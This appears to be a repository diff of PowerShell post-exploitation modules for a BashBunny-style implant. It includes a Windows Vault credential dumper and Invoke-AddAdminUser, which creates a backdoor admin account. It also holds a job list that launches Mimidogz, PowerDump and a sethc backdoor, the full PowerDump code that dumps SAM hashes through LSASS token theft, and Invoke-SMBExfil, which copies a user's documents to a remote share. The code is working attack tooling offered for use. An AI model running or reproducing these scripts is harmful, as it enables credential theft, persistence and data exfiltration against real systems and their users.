Write-Verbose "0x$($SidPtr.ToString('X8'))"
$SidObject = [Security.Principal.SecurityIdentifier] ([IntPtr] $SidPtr)
$SidObject.Value
}
# These elements are currently unimplemented.
# I have yet to see these used in practice.
$VAULT_ELEMENT_TYPE::ByteArray { $null }
$VAULT_ELEMENT_TYPE::TimeStamp { $null }
$VAULT_ELEMENT_TYPE::ProtectedArray { $null }
$VAULT_ELEMENT_TYPE::Attribute { $null }
$VAULT_ELEMENT_TYPE::Last { $null }
}
}
$VaultCount = 0
$VaultGuidPtr = [IntPtr]::Zero
$Result = $Vaultcli::VaultEnumerateVaults(0, [Ref] $VaultCount, [Ref] $VaultGuidPtr)
if ($Result -ne 0)
{
throw "Unable to enumerate vaults. Error (0x$($Result.ToString('X8')))"
}
$GuidAddress = $VaultGuidPtr
$VaultSchema = @{
([Guid] '2F1A6504-0641-44CF-8BB5-3612D865F2E5') = 'Windows Secure Note'
([Guid] '3CCD5499-87A8-4B10-A215-608888DD3B55') = 'Windows Web Password Credential'
([Guid] '154E23D0-C644-4E6F-8CE6-5069272F999F') = 'Windows Credential Picker Protector'
([Guid] '4BF4C442-9B8A-41A0-B380-DD4A704DDB28') = 'Web Credentials'
([Guid] '77BC582B-F0A6-4E15-4E80-61736B6F3B29') = 'Windows Credentials'
([Guid] 'E69D7838-91B5-4FC9-89D5-230D4D4CC2BC') = 'Windows Domain Certificate Credential'
([Guid] '3E0E35BE-1B77-43E7-B873-AED901B6275B') = 'Windows Domain Password Credential'
([Guid] '3C886FF3-2669-4AA2-A8FB-3F6759A77548') = 'Windows Extended Credential'
([Guid] '00000000-0000-0000-0000-000000000000') = $null
}
if ($VaultCount)
{
foreach ($i in 1..$VaultCount)
{
$VaultGuid = [Runtime.InteropServices.Marshal]::PtrToStructure($GuidAddress, [Type] [Guid])
$GuidAddress = [IntPtr] ($GuidAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] [Guid]))
$VaultHandle = [IntPtr]::Zero
Write-Verbose "Opening vault - $($VaultSchema[$VaultGuid]) ($($VaultGuid))"
$Result = $Vaultcli::VaultOpenVault([Ref] $VaultGuid, 0, [Ref] $VaultHandle)
if ($Result -ne 0)
{
Write-Error "Unable to open the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))"
continue
}
$VaultItemCount = 0
$VaultItemPtr = [IntPtr]::Zero
$Result = $Vaultcli::VaultEnumerateItems($VaultHandle, 512, [Ref] $VaultItemCount, [Ref] $VaultItemPtr)
if ($Result -ne 0)
{
$null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle)
Write-Error "Unable to enumerate vault items from the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))"
continue
}
$StructAddress = $VaultItemPtr
if ($VaultItemCount)
{
foreach ($j in 1..$VaultItemCount)
{
$CurrentItem = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $VAULT_ITEM)
$StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] $VAULT_ITEM))
$PasswordVaultItem = [IntPtr]::Zero
if ($OSMajor -ge 6 -and $OSMinor -ge 2)
{
$Result = $Vaultcli::VaultGetItem($VaultHandle,
[Ref] $CurrentItem.SchemaId,
$CurrentItem.pResourceElement,
$CurrentItem.pIdentityElement,
$CurrentItem.pPackageSid,
[IntPtr]::Zero,
0,
[Ref] $PasswordVaultItem)
}
else
{
$Result = $Vaultcli::VaultGetItem($VaultHandle,
[Ref] $CurrentItem.SchemaId,
$CurrentItem.pResourceElement,
$CurrentItem.pIdentityElement,
[IntPtr]::Zero,
0,
[Ref] $PasswordVaultItem)
}
$PasswordItem = $null
if ($Result -ne 0)
{
Write-Error "Error occured retrieving vault item. Error (0x$($Result.ToString('X8')))"
continue
}
else
{
$PasswordItem = [Runtime.InteropServices.Marshal]::PtrToStructure($PasswordVaultItem, [Type] $VAULT_ITEM)
}
if ($VaultSchema.ContainsKey($VaultGuid))
{
$VaultType = $VaultSchema[$VaultGuid]
}
else
{
$VaultType = $VaultGuid
}
if ($PasswordItem.pAuthenticatorElement -ne [IntPtr]::Zero)
{
$Credential = Get-VaultElementValue $PasswordItem.pAuthenticatorElement
}
else
{
$Credential = $null
}
$PackageSid = $null
if ($CurrentItem.pPackageSid -and ($CurrentItem.pPackageSid -ne [IntPtr]::Zero))
{
$PackageSid = Get-VaultElementValue $CurrentItem.pPackageSid
}
$Properties = @{
Vault = $VaultType
Resource = if ($CurrentItem.pResourceElement) { Get-VaultElementValue $CurrentItem.pResourceElement } else { $null }
Identity = if ($CurrentItem.pIdentityElement) { Get-VaultElementValue $CurrentItem.pIdentityElement } else { $null }
PackageSid = $PackageSid
Credential = $Credential
LastModified = [DateTime]::FromFileTimeUtc($CurrentItem.LastModified)
}
$VaultItem = New-Object PSObject -Property $Properties
$VaultItem.PSObject.TypeNames[0] = 'VAULTCLI.VAULTITEM'
Write-Output $VaultItem
$null = $Vaultcli::VaultFree($PasswordVaultItem)
}
}
$null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle)
}
}
}

View File

@ -0,0 +1,33 @@
function Invoke-AddAdminUser
{
[CmdletBinding()]
Param(
[Parameter(Mandatory=$true, Position=0)]
[string]$UserName,
[Parameter(Mandatory=$true, Position=1)]
[string]$Password
)
try {
$secPassword = ConvertTo-SecureString -String $Password -AsPlainText -Force
$ptrStr = [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR($secPassword))
$computer = $env:COMPUTERNAME
$ObjOU = [ADSI]"WinNT://$computer"
$objUser = $objOU.Create("User", $UserName)
$objUser.setpassword($ptrStr)
$objUser.put("description","New LocalAdmin")
$objUser.UserFlags = 64 + 65536 # ADS_UF_PASSWD_CANT_CHANGE + ADS_UF_DONT_EXPIRE_PASSWD
$objUser.SetInfo()
$objGroup = [ADSI]"WinNT://$computer/Administrators,group"
$objGroup.add("WinNT://$computer/$UserName,user")
$objGroup.SetInfo()
$objGroup = [ADSI]"WinNT://$computer/Users,group"
$objGroup.add("WinNT://$computer/$UserName,user")
$objGroup.SetInfo()
return ("User '{0}' with password '{1}' successfully added as local admin." -f ($UserName, $Password))
}
catch {
return ("There was an error.`r`n{0}" -f ($_.Exception.Message))
}
}

View File

@ -0,0 +1,50 @@
function Invoke-AdminJobs
{
$jobslist = @(@{
jobName = "Mimidogz"
command = "Invoke-Mimidogz -DumpCred | out-string"
runType = "thread"
scriptName = "Invoke-Mimidogz.ps1"
},
@{
jobName = "PowerDump"
command = "Invoke-PowerDump | out-string"
runType = "thread"
scriptName = "Invoke-PowerDump.ps1"
},
@{
jobName = "AddAdminUser"
command = "Invoke-AddAdminUser -UserName `"BBAdmin`" -Password `"BBPassword1!`" | Out-String"
runType = "thread"
scriptName = "Invoke-AddAdminUser.ps1"
})
function Get-isHighIntegrity
{
$isAdmin = $false
if(([Environment]::UserName).ToLower() -eq 'system') {
$isAdmin = $true
}else{
# otherwise check the token groups
$isadmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')
}
return $isAdmin
}
if( -not (Get-isHighIntegrity))
{
return "BashBunny is not running UACBypassed."
}
foreach($job in $jobslist)
{
if(Send-NewJob @job)
{
Write-Output ("Sent Job: {0} `r`n" -f ($job.jobName))
}
else
{
Write-Output("Sent Job: {0} failed. `r`n" -f ($job.jobName))
}
}
}

View File

@ -0,0 +1,57 @@
function Invoke-AdminJobs
{
$jobslist = @(@{
jobName = "Mimidogz"
command = "Invoke-Mimidogz -DumpCred | out-string"
runType = "thread"
scriptName = "Invoke-Mimidogz.ps1"
},
@{
jobName = "PowerDump"
command = "Invoke-PowerDump | out-string"
runType = "thread"
scriptName = "Invoke-PowerDump.ps1"
},
@{
jobName = "AddAdminUser"
command = "Invoke-AddAdminUser -UserName `"BBAdmin`" -Password `"BBPassword1!`" | Out-String"
runType = "thread"
scriptName = "Invoke-AddAdminUser.ps1"
},
@{
jobName = "SethcBD"
command = "Invoke-SethcBD"
runType = "thread"
scriptName = "Invoke-SethcBD.ps1"
})
function Get-isHighIntegrity
{
$isAdmin = $false
if(([Environment]::UserName).ToLower() -eq 'system') {
$isAdmin = $true
}else{
# otherwise check the token groups
$isadmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')
}
return $isAdmin
}
if( -not (Get-isHighIntegrity))
{
return "BashBunny is not running UACBypassed."
}
foreach($job in $jobslist)
{
if(Send-NewJob @job)
{
Write-Output ("Sent Job: {0} `r`n" -f ($job.jobName))
}
else
{
Write-Output("Sent Job: {0} failed. `r`n" -f ($job.jobName))
}
}
}

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,497 @@
# Pulled from darkoperator's Posh-SecMod:
# https://github.com/darkoperator/Posh-SecMod/blob/master/PostExploitation/PostExploitation.psm1
function Invoke-PowerDump
{
<#
.SYNOPSIS
Dumps hashes from the local system. Note: administrative privileges required.
.DESCRIPTION
Generate a command for dumping hashes from a Windows System PowerShell.exe -command
Command must be executed as SYSTEM if ran as administrator it will privilage escalate to SYSTEM
and execute a hashdump by reading the hashes from the registry.
.EXAMPLE
$enc = Get-PostHashdumpScript
C:\PS>powershell.exe -command $enc
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d4afe1d16ae931b74c59d7e1c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Carlos:1001:aad3b435b51404eeaad3b435b51404ee:62096e5ed83a10cf61cf79cc36738519:::
HomeGroupUser$:1003:aad3b435b51404eeaad3b435b51404ee:951b271a4b7d1dd7a25e3d9c9f87341e:::
Executes the compressed command generated by the function and dumps the windows hashes from the registry.
.NOTES
PowerDump script by Kathy Peters, Josh Kelley (winfang) and Dave Kennedy (ReL1K)
Privilage Escalation from http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/05/use-powershell-to-duplicate-process-tokens-via-p-invoke.aspx
#>
$sign = @"
using System;
using System.Runtime.InteropServices;
public static class priv
{
[DllImport("shell32.dll")]
public static extern bool IsUserAnAdmin();
}
"@
$adminasembly = Add-Type -TypeDefinition $sign -Language CSharp -PassThru
function ElevatePrivs
{
$signature = @"
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct TokPriv1Luid
{
public int Count;
public long Luid;
public int Attr;
}
public const int SE_PRIVILEGE_ENABLED = 0x00000002;
public const int TOKEN_QUERY = 0x00000008;
public const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;
public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000;
public const UInt32 STANDARD_RIGHTS_READ = 0x00020000;
public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001;
public const UInt32 TOKEN_DUPLICATE = 0x0002;
public const UInt32 TOKEN_IMPERSONATE = 0x0004;
public const UInt32 TOKEN_QUERY_SOURCE = 0x0010;
public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040;
public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080;
public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100;
public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);
public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
TOKEN_ADJUST_SESSIONID);
public const string SE_TIME_ZONE_NAMETEXT = "SeTimeZonePrivilege";
public const int ANYSIZE_ARRAY = 1;
[StructLayout(LayoutKind.Sequential)]
public struct LUID
{
public UInt32 LowPart;
public UInt32 HighPart;
}
[StructLayout(LayoutKind.Sequential)]
public struct LUID_AND_ATTRIBUTES {
public LUID Luid;
public UInt32 Attributes;
}
public struct TOKEN_PRIVILEGES {
public UInt32 PrivilegeCount;
[MarshalAs(UnmanagedType.ByValArray, SizeConst=ANYSIZE_ARRAY)]
public LUID_AND_ATTRIBUTES [] Privileges;
}
[DllImport("advapi32.dll", SetLastError=true)]
public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int
SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool SetThreadToken(
IntPtr PHThread,
IntPtr Token
);
[DllImport("advapi32.dll", SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool OpenProcessToken(IntPtr ProcessHandle,
UInt32 DesiredAccess, out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
[DllImport("kernel32.dll", ExactSpelling = true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
public static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
"@
$currentPrincipal = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent())
if($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) {
Write-Warning "Run the Command as an Administrator"
Break
}
Add-Type -MemberDefinition $signature -Name AdjPriv -Namespace AdjPriv
$adjPriv = [AdjPriv.AdjPriv]
[long]$luid = 0
$tokPriv1Luid = New-Object AdjPriv.AdjPriv+TokPriv1Luid
$tokPriv1Luid.Count = 1
$tokPriv1Luid.Luid = $luid
$tokPriv1Luid.Attr = [AdjPriv.AdjPriv]::SE_PRIVILEGE_ENABLED
$retVal = $adjPriv::LookupPrivilegeValue($null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid)
[IntPtr]$htoken = [IntPtr]::Zero
$retVal = $adjPriv::OpenProcessToken($adjPriv::GetCurrentProcess(), [AdjPriv.AdjPriv]::TOKEN_ALL_ACCESS, [ref]$htoken)
$tokenPrivileges = New-Object AdjPriv.AdjPriv+TOKEN_PRIVILEGES
$retVal = $adjPriv::AdjustTokenPrivileges($htoken, $false, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero)
if(-not($retVal)) {
[System.Runtime.InteropServices.marshal]::GetLastWin32Error()
Break
}
$process = (Get-Process -Name lsass)
#$process.name
[IntPtr]$hlsasstoken = [IntPtr]::Zero
$retVal = $adjPriv::OpenProcessToken($process.Handle, ([AdjPriv.AdjPriv]::TOKEN_IMPERSONATE -BOR [AdjPriv.AdjPriv]::TOKEN_DUPLICATE), [ref]$hlsasstoken)
[IntPtr]$dulicateTokenHandle = [IntPtr]::Zero
$retVal = $adjPriv::DuplicateToken($hlsasstoken, 2, [ref]$dulicateTokenHandle)
$retval = $adjPriv::SetThreadToken([IntPtr]::Zero, $dulicateTokenHandle)
if(-not($retVal)) {
[System.Runtime.InteropServices.marshal]::GetLastWin32Error()
}
}
function LoadApi
{
$oldErrorAction = $global:ErrorActionPreference;
$global:ErrorActionPreference = "SilentlyContinue";
$test = [PowerDump.Native];
$global:ErrorActionPreference = $oldErrorAction;
if ($test)
{
# already loaded
return;
}
$code = @"
using System;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.Text;
namespace PowerDump
{
public class Native
{
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
public static extern int RegOpenKeyEx(
int hKey,
string subKey,
int ulOptions,
int samDesired,
out int hkResult);
[DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")]
extern public static int RegEnumKeyEx(
int hkey,
int index,
StringBuilder lpName,
ref int lpcbName,
int reserved,
StringBuilder lpClass,
ref int lpcbClass,
out long lpftLastWriteTime);
[DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)]
extern public static int RegQueryInfoKey(
int hkey,
StringBuilder lpClass,
ref int lpcbClass,
int lpReserved,
out int lpcSubKeys,
out int lpcbMaxSubKeyLen,
out int lpcbMaxClassLen,
out int lpcValues,
out int lpcbMaxValueNameLen,
out int lpcbMaxValueLen,
out int lpcbSecurityDescriptor,
IntPtr lpftLastWriteTime);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern int RegCloseKey(
int hKey);
}
} // end namespace PowerDump
public class Shift {
public static int Right(int x, int count) { return x >> count; }
public static uint Right(uint x, int count) { return x >> count; }
public static long Right(long x, int count) { return x >> count; }
public static ulong Right(ulong x, int count) { return x >> count; }
public static int Left(int x, int count) { return x << count; }
public static uint Left(uint x, int count) { return x << count; }
public static long Left(long x, int count) { return x << count; }
public static ulong Left(ulong x, int count) { return x << count; }
}
"@
$provider = New-Object Microsoft.CSharp.CSharpCodeProvider
$dllName = [PsObject].Assembly.Location
$compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters
$assemblies = @("System.dll", $dllName)
$compilerParameters.ReferencedAssemblies.AddRange($assemblies)
$compilerParameters.GenerateInMemory = $true
$compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code)
if($compilerResults.Errors.Count -gt 0) {
$compilerResults.Errors | % { Write-Error ("{0}:`t{1}" -f $_.Line,$_.ErrorText) }
}
}
$antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0");
$almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0");
$empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee);
$empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0);
$odd_parity = @(
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
);
function sid_to_key($sid)
{
$s1 = @();
$s1 += [char]($sid -band 0xFF);
$s1 += [char]([Shift]::Right($sid,8) -band 0xFF);
$s1 += [char]([Shift]::Right($sid,16) -band 0xFF);
$s1 += [char]([Shift]::Right($sid,24) -band 0xFF);
$s1 += $s1[0];
$s1 += $s1[1];
$s1 += $s1[2];
$s2 = @();
$s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2];
$s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2];
return ,((str_to_key $s1),(str_to_key $s2));
}
function str_to_key($s)
{
$key = @();
$key += [Shift]::Right([int]($s[0]), 1 );
$key += [Shift]::Left( $([int]($s[0]) -band 0x01), 6) -bor [Shift]::Right([int]($s[1]),2);
$key += [Shift]::Left( $([int]($s[1]) -band 0x03), 5) -bor [Shift]::Right([int]($s[2]),3);
$key += [Shift]::Left( $([int]($s[2]) -band 0x07), 4) -bor [Shift]::Right([int]($s[3]),4);
$key += [Shift]::Left( $([int]($s[3]) -band 0x0F), 3) -bor [Shift]::Right([int]($s[4]),5);
$key += [Shift]::Left( $([int]($s[4]) -band 0x1F), 2) -bor [Shift]::Right([int]($s[5]),6);
$key += [Shift]::Left( $([int]($s[5]) -band 0x3F), 1) -bor [Shift]::Right([int]($s[6]),7);
$key += $([int]($s[6]) -band 0x7F);
0..7 | %{
$key[$_] = [Shift]::Left($key[$_], 1);
$key[$_] = $odd_parity[$key[$_]];
}
return ,$key;
}
function NewRC4([byte[]]$key)
{
return new-object Object |
Add-Member NoteProperty key $key -PassThru |
Add-Member NoteProperty S $null -PassThru |
Add-Member ScriptMethod init {
if (-not $this.S)
{
[byte[]]$this.S = 0..255;
0..255 | % -begin{[long]$j=0;}{
$j = ($j + $this.key[$($_ % $this.key.Length)] + $this.S[$_]) % $this.S.Length;
$temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp;
}
}
} -PassThru |
Add-Member ScriptMethod "encrypt" {
$data = $args[0];
$this.init();
$outbuf = new-object byte[] $($data.Length);
$S2 = $this.S[0..$this.S.Length];
0..$($data.Length-1) | % -begin{$i=0;$j=0;} {
$i = ($i+1) % $S2.Length;
$j = ($j + $S2[$i]) % $S2.Length;
$temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp;
$a = $data[$_];
$b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ];
$outbuf[$_] = ($a -bxor $b);
}
return ,$outbuf;
} -PassThru
}
function des_encrypt([byte[]]$data, [byte[]]$key)
{
return ,(des_transform $data $key $true)
}
function des_decrypt([byte[]]$data, [byte[]]$key)
{
return ,(des_transform $data $key $false)
}
function des_transform([byte[]]$data, [byte[]]$key, $doEncrypt)
{
$des = new-object Security.Cryptography.DESCryptoServiceProvider;
$des.Mode = [Security.Cryptography.CipherMode]::ECB;
$des.Padding = [Security.Cryptography.PaddingMode]::None;
$des.Key = $key;
$des.IV = $key;
$transform = $null;
if ($doEncrypt) {$transform = $des.CreateEncryptor();}
else{$transform = $des.CreateDecryptor();}
$result = $transform.TransformFinalBlock($data, 0, $data.Length);
return ,$result;
}
function Get-RegKeyClass([string]$key, [string]$subkey)
{
switch ($Key) {
"HKCR" { $nKey = 0x80000000} #HK Classes Root
"HKCU" { $nKey = 0x80000001} #HK Current User
"HKLM" { $nKey = 0x80000002} #HK Local Machine
"HKU" { $nKey = 0x80000003} #HK Users
"HKCC" { $nKey = 0x80000005} #HK Current Config
default {
throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC"
}
}
$KEYQUERYVALUE = 0x1;
$KEYREAD = 0x19;
$KEYALLACCESS = 0x3F;
$result = "";
[int]$hkey=0
if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey))
{
$classVal = New-Object Text.Stringbuilder 1024
[int]$len = 1024
if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null,
[ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0))
{
$result = $classVal.ToString()
}
else
{
Write-Error "RegQueryInfoKey failed";
}
[PowerDump.Native]::RegCloseKey($hkey) | Out-Null
}
else
{
Write-Error "Cannot open key";
}
return $result;
}
function Get-BootKey
{
$s = [string]::Join("",$("JD","Skew1","GBG","Data" | %{Get-RegKeyClass "HKLM" "SYSTEM\CurrentControlSet\Control\Lsa\$_"}));
$b = new-object byte[] $($s.Length/2);
0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)}
$b2 = new-object byte[] 16;
0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | % -begin{$i=0;}{$b2[$i]=$b[$_];$i++}
return ,$b2;
}
function Get-HBootKey
{
param([byte[]]$bootkey);
$aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%`0");
$anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0");
$k = Get-Item HKLM:\SAM\SAM\Domains\Account;
if (-not $k) {return $null}
[byte[]]$F = $k.GetValue("F");
if (-not $F) {return $null}
$rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] + $aqwerty + $bootkey + $anum);
$rc4 = NewRC4 $rc4key;
return ,($rc4.encrypt($F[0x80..0x9F]));
}
function Get-UserName([byte[]]$V)
{
if (-not $V) {return $null};
$offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC;
$len = [BitConverter]::ToInt32($V[0x10..0x13],0);
return [Text.Encoding]::Unicode.GetString($V, $offset, $len);
}
function Get-UserHashes($u, [byte[]]$hbootkey)
{
[byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null;
if ($u.HashOffset + 0x28 -lt $u.V.Length)
{
$lm_hash_offset = $u.HashOffset + 4;
$nt_hash_offset = $u.HashOffset + 8 + 0x10;
$enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)];
$enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
}
elseif ($u.HashOffset + 0x14 -lt $u.V.Length)
{
$nt_hash_offset = $u.HashOffset + 8;
$enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
}
return ,(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey);
}
function DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey)
{
[byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt;
# LM Hash
if ($enc_lm_hash)
{
$lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword;
}
# NT Hash
if ($enc_nt_hash)
{
$nthash = DecryptSingleHash $rid $hbootkey $enc_nt_hash $antpassword;
}
return ,($lmhash,$nthash)
}
function DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr)
{
$deskeys = sid_to_key $rid;
$md5 = [Security.Cryptography.MD5]::Create();
$rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr);
$rc4 = NewRC4 $rc4_key;
$obfkey = $rc4.encrypt($enc_hash);
$hash = (des_decrypt $obfkey[0..7] $deskeys[0]) +
(des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]);
return ,$hash;
}
function Get-UserKeys
{
ls HKLM:\SAM\SAM\Domains\Account\Users |
where {$_.PSChildName -match "^[0-9A-Fa-f]{8}$"} |
Add-Member AliasProperty KeyName PSChildName -PassThru |
Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru |
Add-Member ScriptProperty V {[byte[]]($this.GetValue("V"))} -PassThru |
Add-Member ScriptProperty UserName {Get-UserName($this.GetValue("V"))} -PassThru |
Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue("V")[0x9c..0x9f],0) + 0xCC} -PassThru
}
function DumpHashes
{
LoadApi
$bootkey = Get-BootKey;
$hbootKey = Get-HBootKey $bootkey;
Get-UserKeys | %{
$hashes = Get-UserHashes $_ $hBootKey;
"{0}:{1}:{2}:{3}:::" -f ($_.UserName,$_.Rid,
[BitConverter]::ToString($hashes[0]).Replace("-","").ToLower(),
[BitConverter]::ToString($hashes[1]).Replace("-","").ToLower());
"`n"
}
}
if ([priv]::IsUserAnAdmin())
{
if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem)
{
DumpHashes
}
else
{
ElevatePrivs
if ([System.Security.Principal.WindowsIdentity]::GetCurrent().IsSystem)
{
DumpHashes
}
}
}
else
{
Write-Error "Administrator or System privileges necessary."
}
}

View File

@ -0,0 +1,56 @@
function Invoke-SMBExfil
{
<#
.Synopsis
Copies files and all subdirectories from source to location folder.
.DESCRIPTION
Name: Invoke-SMBExfil
Author: PoshMagiC0de
Copies files from the folder specified and all subfolders plus file types if added to the destination folder, keeping folder schema.
.EXAMPLE
Invoke-SMBExfil -targetfolder "$env:userprofile\Documents" -destUNC "\\192.168.1.4\foldershare\targetfolder" -filenames @("*.gif","*.jpg","*.docx","*.xlsx")
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory=$true, Position=0)]
[ValidateScript({Test-Path -Path (Resolve-Path $_) -PathType "Container"})]
[string]$targetfolder,
[Parameter(Mandatory=$true, Position=1)]
[ValidateScript({Test-Path -Path $_})]
[string]$destUNC,
[Parameter(Mandatory=$false, Position=2)]
[string[]]$filenames = @("*")
)
$roottarget = (Resolve-Path $targetfolder).ToString() + "\"
$rootdest = $destUNC + "\smbexfil\"
$targetfiles = gci -Path ($roottarget + "*") -Include $filenames -Recurse -ErrorAction SilentlyContinue | Where {$_.PSIsContainer -eq $false} |
foreach {new-object psobject -Property @{
source = $_.FullName
destination = ($_.FullName -replace ($roottarget -replace "\\", "\\"), "$rootdest")
extension = $_.Extension
}}
$targetfiles | foreach {
if(-not (Test-Path (Split-Path $_.destination -Parent)))
{
$null = New-Item -Path (Split-Path $_.destination -Parent) -ItemType Directory
}
Copy-Item -Path ($_.source) -Destination ($_.destination) -Force -ErrorAction SilentlyContinue}
$returnstring = "A total of {0} files were exfiltrated.`r`n" -f ($targetfiles.Count)
